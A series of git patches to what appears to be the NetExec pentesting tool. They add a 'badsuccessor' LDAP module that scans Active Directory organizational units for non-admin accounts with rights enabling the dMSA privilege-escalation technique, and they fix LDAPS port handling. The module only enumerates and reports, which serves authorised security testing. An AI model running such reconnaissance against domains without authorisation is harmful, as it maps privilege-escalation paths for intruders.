['S-1-5-32-544', 'S-1-5-18'] # Builtin Administrators, Local SYSTEM + +# Define all access rights +ACCESS_RIGHTS = { + # Generic Rights + 'GenericRead': 0x80000000, # ADS_RIGHT_GENERIC_READ + 'GenericWrite': 0x40000000, # ADS_RIGHT_GENERIC_WRITE + 'GenericExecute': 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE + 'GenericAll': 0x10000000, # ADS_RIGHT_GENERIC_ALL + + # Maximum Allowed access type + 'MaximumAllowed': 0x02000000, + + # Access System Acl access type + 'AccessSystemSecurity': 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY + + # Standard access types + 'Synchronize': 0x00100000, # ADS_RIGHT_SYNCHRONIZE + 'WriteOwner': 0x00080000, # ADS_RIGHT_WRITE_OWNER + 'WriteDACL': 0x00040000, # ADS_RIGHT_WRITE_DAC + 'ReadControl': 0x00020000, # ADS_RIGHT_READ_CONTROL + 'Delete': 0x00010000, # ADS_RIGHT_DELETE + + # Specific rights + 'AllExtendedRights': 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS + 'ListObject': 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT + 'DeleteTree': 0x00000040, # ADS_RIGHT_DS_DELETE_TREE + 'WriteProperties': 0x00000020, # ADS_RIGHT_DS_WRITE_PROP + 'ReadProperties': 0x00000010, # ADS_RIGHT_DS_READ_PROP + 'Self': 0x00000008, # ADS_RIGHT_DS_SELF + 'ListChildObjects': 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST + 'DeleteChild': 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD + 'CreateChild': 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD +} + +# Define which rights are considered relevant for potential abuse +RELEVANT_RIGHTS = { + 'GenericAll': ACCESS_RIGHTS['GenericAll'], + 'GenericWrite': ACCESS_RIGHTS['GenericWrite'], + 'WriteOwner': ACCESS_RIGHTS['WriteOwner'], + 'WriteDACL': ACCESS_RIGHTS['WriteDACL'], + 'CreateChild': ACCESS_RIGHTS['CreateChild'], + 'WriteProperties': ACCESS_RIGHTS['WriteProperties'], + 'AllExtendedRights': ACCESS_RIGHTS['AllExtendedRights'] +} + +class NXCModule: + """ + ------- + Module by @mpgn + """ + + name = "badsuccessor" + description = "I do something" + supported_protocols = ['ldap'] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + + def options(self, context, module_options): + """Required. + Module options get parsed here. Additionally, put the modules usage here as well + """ + + def is_excluded_sid(self, sid, domain_sid): + if sid in EXCLUDED_SIDS: + return True + for suffix in EXCLUDED_SIDS_SUFFIXES: + if sid.startswith(domain_sid) and sid.endswith(suffix): + return True + return False + + def get_domain_sid(self, ldap_session, base_dn): + """ + Retrieve the domain SID from the domain object in LDAP + """ + r = ldap_session.search( + searchBase=base_dn, + searchFilter='(objectClass=domain)', + attributes=['objectSid'] + ) + parsed = parse_result_attributes(r) + if parsed and 'objectSid' in parsed[0]: + raw_sid = parsed[0]['objectSid'] + return raw_sid + + def find_bad_successor_ous(self, ldap_session, entries, base_dn): + + domain_sid = self.get_domain_sid(ldap_session, base_dn) + results = {} + parsed = parse_result_attributes(entries) + for entry in parsed: + dn = entry['distinguishedName'] + sd_data = entry['nTSecurityDescriptor'] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) + + for ace in sd['Dacl']['Data']: + if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: + continue + + has_relevant_right = False + mask = int(ace['Ace']['Mask']['Mask']) + for right_name, right_value in RELEVANT_RIGHTS.items(): + if mask & right_value: + has_relevant_right = True + break + + if not has_relevant_right: + continue # Skip this ACE if it doesn't have any relevant rights + + object_type = getattr(ace, 'ObjectType', None) + if object_type: + object_guid = ldaptypes.bin_to_string(object_type).lower() + if object_guid not in RELEVANT_OBJECT_TYPES: + continue + + sid = ace['Ace']['Sid'].formatCanonical() + if self.is_excluded_sid(sid, domain_sid): + continue + + results.setdefault(sid, []).append(dn) + + if hasattr(sd, 'OwnerSid'): + owner_sid = str(sd['OwnerSid']) + if not self.is_excluded_sid(owner_sid, domain_sid): + results.setdefault(owner_sid, []).append(dn) + + return results + + def resolve_sid_to_name(self, ldap_session, sid, base_dn): + """ + Resolves a SID to a samAccountName using LDAP + + Args: + ldap_session: The LDAP connection + sid: The SID to resolve + base_dn: The base DN for the LDAP search + + Returns: + str: The samAccountName if found, otherwise the original SID + """ + try: + search_filter = f"(objectSid={sid})" + response = ldap_session.search( + searchBase=base_dn, + searchFilter=search_filter, + attributes=['sAMAccountName'] + ) + + parsed = parse_result_attributes(response) + if parsed and 'sAMAccountName' in parsed[0]: + return parsed[0]['sAMAccountName'] + return sid + except Exception as e: + return sid + + def on_login(self, context, connection): + from ldap3.protocol.controls import build_control + from pyasn1.type.namedtype import NamedTypes, NamedType + from pyasn1.type.univ import Integer, Sequence + + controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION + resp = connection.ldap_connection.search( + searchBase=connection.ldap_connection._baseDN, + searchFilter='(objectClass=organizationalUnit)', + attributes=['distinguishedName', 'nTSecurityDescriptor'], + searchControls=controls) # Fixed parameter name + + context.log.debug(f"Found {len(resp)} entries") + + results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN) + + if results: + context.log.success(f"Found {len(results)} results") + else: + context.log.highlight("No account found") + + for sid, ous in results.items(): + samaccountname = self.resolve_sid_to_name( + connection.ldap_connection, + sid, + connection.ldap_connection._baseDN + ) + + for ou in ous: + if sid == samaccountname: + context.log.highlight(f"{sid}, {ou}") + else: + context.log.highlight(f"{samaccountname} ({sid}), {ou}") From d1d700243b31f55c10e44254d28152f799707417 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 23 May 2025 17:13:33 +0200 Subject: [PATCH 53/83] add module badsuccessor --- nxc/modules/badsuccessor.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index 91762a28..7d29bbf6 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -57,11 +57,12 @@ RELEVANT_RIGHTS = { class NXCModule: """ ------- - Module by @mpgn + Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials + and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1 """ name = "badsuccessor" - description = "I do something" + description = "Check if vulnerable to bad successor attack (DMSA)" supported_protocols = ['ldap'] opsec_safe = True multiple_hosts = True From c09376859e0814b4e3fbcd3b84c193a91b289894 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 23 May 2025 17:32:04 +0200 Subject: [PATCH 54/83] fix ruff --- nxc/modules/badsuccessor.py | 127 +++++++++++++++++------------------- 1 file changed, 60 insertions(+), 67 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index 7d29bbf6..e196c7ee 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -3,55 +3,55 @@ from nxc.parsers.ldap_results import parse_result_attributes from ldap3.protocol.microsoft import security_descriptor_control RELEVANT_OBJECT_TYPES = { - '00000000-0000-0000-0000-000000000000': 'All Objects', - '0feb936f-47b3-49f2-9386-1dedc2c23765': 'msDS-DelegatedManagedServiceAccount', + "00000000-0000-0000-0000-000000000000": "All Objects", + "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount", } -EXCLUDED_SIDS_SUFFIXES = ['-512', '-519'] # Domain Admins, Enterprise Admins -EXCLUDED_SIDS = ['S-1-5-32-544', 'S-1-5-18'] # Builtin Administrators, Local SYSTEM +EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins +EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM # Define all access rights ACCESS_RIGHTS = { # Generic Rights - 'GenericRead': 0x80000000, # ADS_RIGHT_GENERIC_READ - 'GenericWrite': 0x40000000, # ADS_RIGHT_GENERIC_WRITE - 'GenericExecute': 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE - 'GenericAll': 0x10000000, # ADS_RIGHT_GENERIC_ALL + "GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ + "GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE + "GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE + "GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL - # Maximum Allowed access type - 'MaximumAllowed': 0x02000000, + # Maximum Allowed access type + "MaximumAllowed": 0x02000000, - # Access System Acl access type - 'AccessSystemSecurity': 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY + # Access System Acl access type + "AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY - # Standard access types - 'Synchronize': 0x00100000, # ADS_RIGHT_SYNCHRONIZE - 'WriteOwner': 0x00080000, # ADS_RIGHT_WRITE_OWNER - 'WriteDACL': 0x00040000, # ADS_RIGHT_WRITE_DAC - 'ReadControl': 0x00020000, # ADS_RIGHT_READ_CONTROL - 'Delete': 0x00010000, # ADS_RIGHT_DELETE + # Standard access types + "Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE + "WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER + "WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC + "ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL + "Delete": 0x00010000, # ADS_RIGHT_DELETE - # Specific rights - 'AllExtendedRights': 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS - 'ListObject': 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT - 'DeleteTree': 0x00000040, # ADS_RIGHT_DS_DELETE_TREE - 'WriteProperties': 0x00000020, # ADS_RIGHT_DS_WRITE_PROP - 'ReadProperties': 0x00000010, # ADS_RIGHT_DS_READ_PROP - 'Self': 0x00000008, # ADS_RIGHT_DS_SELF - 'ListChildObjects': 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST - 'DeleteChild': 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD - 'CreateChild': 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD + # Specific rights + "AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS + "ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT + "DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE + "WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP + "ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP + "Self": 0x00000008, # ADS_RIGHT_DS_SELF + "ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST + "DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD + "CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD } # Define which rights are considered relevant for potential abuse RELEVANT_RIGHTS = { - 'GenericAll': ACCESS_RIGHTS['GenericAll'], - 'GenericWrite': ACCESS_RIGHTS['GenericWrite'], - 'WriteOwner': ACCESS_RIGHTS['WriteOwner'], - 'WriteDACL': ACCESS_RIGHTS['WriteDACL'], - 'CreateChild': ACCESS_RIGHTS['CreateChild'], - 'WriteProperties': ACCESS_RIGHTS['WriteProperties'], - 'AllExtendedRights': ACCESS_RIGHTS['AllExtendedRights'] + "GenericAll": ACCESS_RIGHTS["GenericAll"], + "GenericWrite": ACCESS_RIGHTS["GenericWrite"], + "WriteOwner": ACCESS_RIGHTS["WriteOwner"], + "WriteDACL": ACCESS_RIGHTS["WriteDACL"], + "CreateChild": ACCESS_RIGHTS["CreateChild"], + "WriteProperties": ACCESS_RIGHTS["WriteProperties"], + "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"] } class NXCModule: @@ -63,7 +63,7 @@ class NXCModule: name = "badsuccessor" description = "Check if vulnerable to bad successor attack (DMSA)" - supported_protocols = ['ldap'] + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -79,24 +79,18 @@ class NXCModule: def is_excluded_sid(self, sid, domain_sid): if sid in EXCLUDED_SIDS: return True - for suffix in EXCLUDED_SIDS_SUFFIXES: - if sid.startswith(domain_sid) and sid.endswith(suffix): - return True - return False + return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES) def get_domain_sid(self, ldap_session, base_dn): - """ - Retrieve the domain SID from the domain object in LDAP - """ + """Retrieve the domain SID from the domain object in LDAP""" r = ldap_session.search( searchBase=base_dn, - searchFilter='(objectClass=domain)', - attributes=['objectSid'] + searchFilter="(objectClass=domain)", + attributes=["objectSid"] ) parsed = parse_result_attributes(r) - if parsed and 'objectSid' in parsed[0]: - raw_sid = parsed[0]['objectSid'] - return raw_sid + if parsed and "objectSid" in parsed[0]: + return parsed[0]["objectSid"] def find_bad_successor_ous(self, ldap_session, entries, base_dn): @@ -104,17 +98,17 @@ class NXCModule: results = {} parsed = parse_result_attributes(entries) for entry in parsed: - dn = entry['distinguishedName'] - sd_data = entry['nTSecurityDescriptor'] + dn = entry["distinguishedName"] + sd_data = entry["nTSecurityDescriptor"] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) - for ace in sd['Dacl']['Data']: - if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: + for ace in sd["Dacl"]["Data"]: + if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: continue has_relevant_right = False - mask = int(ace['Ace']['Mask']['Mask']) - for right_name, right_value in RELEVANT_RIGHTS.items(): + mask = int(ace["Ace"]["Mask"]["Mask"]) + for right_value in RELEVANT_RIGHTS.values(): if mask & right_value: has_relevant_right = True break @@ -122,20 +116,20 @@ class NXCModule: if not has_relevant_right: continue # Skip this ACE if it doesn't have any relevant rights - object_type = getattr(ace, 'ObjectType', None) + object_type = getattr(ace, "ObjectType", None) if object_type: object_guid = ldaptypes.bin_to_string(object_type).lower() if object_guid not in RELEVANT_OBJECT_TYPES: continue - sid = ace['Ace']['Sid'].formatCanonical() + sid = ace["Ace"]["Sid"].formatCanonical() if self.is_excluded_sid(sid, domain_sid): continue results.setdefault(sid, []).append(dn) - if hasattr(sd, 'OwnerSid'): - owner_sid = str(sd['OwnerSid']) + if hasattr(sd, "OwnerSid"): + owner_sid = str(sd["OwnerSid"]) if not self.is_excluded_sid(owner_sid, domain_sid): results.setdefault(owner_sid, []).append(dn) @@ -146,11 +140,13 @@ class NXCModule: Resolves a SID to a samAccountName using LDAP Args: + ---- ldap_session: The LDAP connection sid: The SID to resolve base_dn: The base DN for the LDAP search Returns: + ------- str: The samAccountName if found, otherwise the original SID """ try: @@ -158,26 +154,23 @@ class NXCModule: response = ldap_session.search( searchBase=base_dn, searchFilter=search_filter, - attributes=['sAMAccountName'] + attributes=["sAMAccountName"] ) parsed = parse_result_attributes(response) - if parsed and 'sAMAccountName' in parsed[0]: - return parsed[0]['sAMAccountName'] + if parsed and "sAMAccountName" in parsed[0]: + return parsed[0]["sAMAccountName"] return sid - except Exception as e: + except Exception: return sid def on_login(self, context, connection): - from ldap3.protocol.controls import build_control - from pyasn1.type.namedtype import NamedTypes, NamedType - from pyasn1.type.univ import Integer, Sequence controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION resp = connection.ldap_connection.search( searchBase=connection.ldap_connection._baseDN, - searchFilter='(objectClass=organizationalUnit)', - attributes=['distinguishedName', 'nTSecurityDescriptor'], + searchFilter="(objectClass=organizationalUnit)", + attributes=["distinguishedName", "nTSecurityDescriptor"], searchControls=controls) # Fixed parameter name context.log.debug(f"Found {len(resp)} entries") From dbc3bd335aeddd64e192a647bffc099c10072bbf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 23 May 2025 11:40:58 -0400 Subject: [PATCH 55/83] Formatting --- nxc/modules/badsuccessor.py | 43 +++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 21 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index e196c7ee..a7b912c8 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -18,20 +18,20 @@ ACCESS_RIGHTS = { "GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE "GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL - # Maximum Allowed access type + # Maximum Allowed access type "MaximumAllowed": 0x02000000, - # Access System Acl access type + # Access System Acl access type "AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY - # Standard access types + # Standard access types "Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE "WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER "WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC "ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL "Delete": 0x00010000, # ADS_RIGHT_DELETE - # Specific rights + # Specific rights "AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS "ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT "DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE @@ -54,6 +54,7 @@ RELEVANT_RIGHTS = { "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"] } + class NXCModule: """ ------- @@ -84,8 +85,8 @@ class NXCModule: def get_domain_sid(self, ldap_session, base_dn): """Retrieve the domain SID from the domain object in LDAP""" r = ldap_session.search( - searchBase=base_dn, - searchFilter="(objectClass=domain)", + searchBase=base_dn, + searchFilter="(objectClass=domain)", attributes=["objectSid"] ) parsed = parse_result_attributes(r) @@ -101,7 +102,7 @@ class NXCModule: dn = entry["distinguishedName"] sd_data = entry["nTSecurityDescriptor"] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) - + for ace in sd["Dacl"]["Data"]: if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: continue @@ -112,7 +113,7 @@ class NXCModule: if mask & right_value: has_relevant_right = True break - + if not has_relevant_right: continue # Skip this ACE if it doesn't have any relevant rights @@ -127,7 +128,7 @@ class NXCModule: continue results.setdefault(sid, []).append(dn) - + if hasattr(sd, "OwnerSid"): owner_sid = str(sd["OwnerSid"]) if not self.is_excluded_sid(owner_sid, domain_sid): @@ -138,13 +139,13 @@ class NXCModule: def resolve_sid_to_name(self, ldap_session, sid, base_dn): """ Resolves a SID to a samAccountName using LDAP - + Args: ---- ldap_session: The LDAP connection sid: The SID to resolve base_dn: The base DN for the LDAP search - + Returns: ------- str: The samAccountName if found, otherwise the original SID @@ -156,7 +157,7 @@ class NXCModule: searchFilter=search_filter, attributes=["sAMAccountName"] ) - + parsed = parse_result_attributes(response) if parsed and "sAMAccountName" in parsed[0]: return parsed[0]["sAMAccountName"] @@ -165,14 +166,14 @@ class NXCModule: return sid def on_login(self, context, connection): - + controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION resp = connection.ldap_connection.search( - searchBase=connection.ldap_connection._baseDN, - searchFilter="(objectClass=organizationalUnit)", - attributes=["distinguishedName", "nTSecurityDescriptor"], - searchControls=controls) # Fixed parameter name - + searchBase=connection.ldap_connection._baseDN, + searchFilter="(objectClass=organizationalUnit)", + attributes=["distinguishedName", "nTSecurityDescriptor"], + searchControls=controls) # Fixed parameter name + context.log.debug(f"Found {len(resp)} entries") results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN) @@ -184,11 +185,11 @@ class NXCModule: for sid, ous in results.items(): samaccountname = self.resolve_sid_to_name( - connection.ldap_connection, - sid, + connection.ldap_connection, + sid, connection.ldap_connection._baseDN ) - + for ou in ous: if sid == samaccountname: context.log.highlight(f"{sid}, {ou}") From fb754166e4a26c93e23665317ead511412bc2e10 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 23 May 2025 11:41:42 -0400 Subject: [PATCH 56/83] Add options text --- nxc/modules/badsuccessor.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index a7b912c8..548600a9 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -73,9 +73,7 @@ class NXCModule: self.module_options = None def options(self, context, module_options): - """Required. - Module options get parsed here. Additionally, put the modules usage here as well - """ + """No options available""" def is_excluded_sid(self, sid, domain_sid): if sid in EXCLUDED_SIDS: From e75512a93cde0c893505fd806e169a2aa7a683db Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 23 May 2025 12:04:19 -0400 Subject: [PATCH 57/83] Add domain functional level check --- nxc/modules/badsuccessor.py | 29 +++++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index 548600a9..b4a9d648 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -54,6 +54,20 @@ RELEVANT_RIGHTS = { "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"] } +FUNCTIONAL_LEVELS = { + "Windows 2000": 0, + "Windows Server 2003": 1, + "Windows Server 2003 R2": 2, + "Windows Server 2008": 3, + "Windows Server 2008 R2": 4, + "Windows Server 2012": 5, + "Windows Server 2012 R2": 6, + "Windows Server 2016": 7, + "Windows Server 2019": 8, + "Windows Server 2022": 9, + "Windows Server 2025": 10, +} + class NXCModule: """ @@ -92,7 +106,6 @@ class NXCModule: return parsed[0]["objectSid"] def find_bad_successor_ous(self, ldap_session, entries, base_dn): - domain_sid = self.get_domain_sid(ldap_session, base_dn) results = {} parsed = parse_result_attributes(entries) @@ -131,7 +144,6 @@ class NXCModule: owner_sid = str(sd["OwnerSid"]) if not self.is_excluded_sid(owner_sid, domain_sid): results.setdefault(owner_sid, []).append(dn) - return results def resolve_sid_to_name(self, ldap_session, sid, base_dn): @@ -164,7 +176,20 @@ class NXCModule: return sid def on_login(self, context, connection): + # Check functional domain level + resp = connection.ldap_connection.search( + searchBase=connection.ldap_connection._baseDN, + searchFilter="(objectClass=domain)", + attributes=["msDS-Behavior-Version"] + ) + parsed_resp = parse_result_attributes(resp) + functional_domain_level = list(FUNCTIONAL_LEVELS.keys())[list(FUNCTIONAL_LEVELS.values()).index(int(parsed_resp[0]["msDS-Behavior-Version"]))] + if int(parsed_resp[0]["msDS-Behavior-Version"]) < FUNCTIONAL_LEVELS["Windows Server 2025"]: + context.log.fail(f"Attack won't work, domain functional level '{functional_domain_level}' is lower than Windows Server 2025, enumerating dMSA objects anyways.") + else: + context.log.success("Domain functional level is Windows Server 2025 or higher, attack is possible.") + # Enumerate dMSA objects controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION resp = connection.ldap_connection.search( searchBase=connection.ldap_connection._baseDN, From b84d04a4481c0d5454a43261b5abe6718704bac8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 23 May 2025 12:07:49 -0400 Subject: [PATCH 58/83] Make text more precise --- nxc/modules/badsuccessor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/badsuccessor.py b/nxc/modules/badsuccessor.py index b4a9d648..80b464a6 100644 --- a/nxc/modules/badsuccessor.py +++ b/nxc/modules/badsuccessor.py @@ -185,7 +185,7 @@ class NXCModule: parsed_resp = parse_result_attributes(resp) functional_domain_level = list(FUNCTIONAL_LEVELS.keys())[list(FUNCTIONAL_LEVELS.values()).index(int(parsed_resp[0]["msDS-Behavior-Version"]))] if int(parsed_resp[0]["msDS-Behavior-Version"]) < FUNCTIONAL_LEVELS["Windows Server 2025"]: - context.log.fail(f"Attack won't work, domain functional level '{functional_domain_level}' is lower than Windows Server 2025, enumerating dMSA objects anyways.") + context.log.fail(f"Attack won't work, domain functional level '{functional_domain_level}' is lower than Windows Server 2025, enumerating potential objects anyways.") else: context.log.success("Domain functional level is Windows Server 2025 or higher, attack is possible.") From 5cd7a6c7e82a0b6c656f17a740a46c20abfa59aa Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 24 May 2025 09:32:10 -0400 Subject: [PATCH 59/83] Fix logging port and also update the port when switching to LDAPS --- nxc/connection.py | 2 +- nxc/protocols/ldap.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 8557dbd2..27448b79 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -275,7 +275,7 @@ class connection: extra={ "module_name": module.name.upper(), "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, }, ) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d7fa08d3..7c58e326 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -375,6 +375,7 @@ class ldap(connection): # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" + self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) @@ -463,6 +464,7 @@ class ldap(connection): # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" + self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) @@ -553,6 +555,7 @@ class ldap(connection): # We need to try SSL self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" + self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, signing=False) From 789edeb30ac8e5249a8da80356109e33f51edc7c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 06:57:34 -0400 Subject: [PATCH 60/83] Switch to the fixed ldap signing version from zblurx --- poetry.lock | 10 +++++----- pyproject.toml | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 5f43907e..28dd9cc9 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250422.104055.27bebb13" +version = "0.13.0.dev0+20250513.162347.b7288f23" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -888,9 +888,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket.git" -reference = "HEAD" -resolved_reference = "27bebb1347569fa810e432326266acf17560f274" +url = "https://github.com/zblurx/impacket.git" +reference = "ldap_signing" +resolved_reference = "b7288f233c154b6f73610797f8e0fa3a1541b3a9" [[package]] name = "iniconfig" @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "1b8bf07cb55b385df03716a6bd4a553579e1b325ccb53e2f77ce28605e6903c5" +content-hash = "2ff9e8ff4aee99b6cb0587e226399d29196c7003418f900d4713c533e2659cdb" diff --git a/pyproject.toml b/pyproject.toml index c3c68ae0..151efc8c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,7 +44,7 @@ dependencies = [ "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies - "impacket @ git+https://github.com/fortra/impacket.git", + "impacket @ git+https://github.com/zblurx/impacket.git@ldap_signing", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From 263b1df2aeda8bfd7ad37b431e032ae37989610a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 06:58:42 -0400 Subject: [PATCH 61/83] Revert #682 and reenable ldap signing --- nxc/protocols/ldap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7c58e326..e55d987b 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -174,7 +174,7 @@ class ldap(connection): ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: @@ -325,7 +325,7 @@ class ldap(connection): proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -378,7 +378,7 @@ class ldap(connection): 